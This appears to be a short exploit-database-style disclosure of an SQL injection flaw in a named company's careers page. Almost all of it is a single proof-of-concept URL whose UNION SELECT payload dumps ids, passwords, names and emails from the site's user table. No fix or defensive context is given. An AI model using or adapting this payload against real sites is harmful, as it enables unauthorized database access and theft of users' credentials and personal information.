-------------------------------------------------------------* #Exploit Title: blueboxinfosoft- SQL Injection vulnerability #Date: 2020-11-4 #Exploit Author: ERa #Category:webapps #Tested On: windows 10, Firefox Proof of Concept: Demo : http://www.blueboxinfosoft.com/careers/job.php?id=-1%27%20union%20select%201,2,3,4,group_concat(id,password,id,firstname,lastname,email),6,7,8,9,10,11%20from%20user--+ -------------------------------------------------------------* #Discovered by: ERa #Email: [email protected] -------------------------------------------------------------*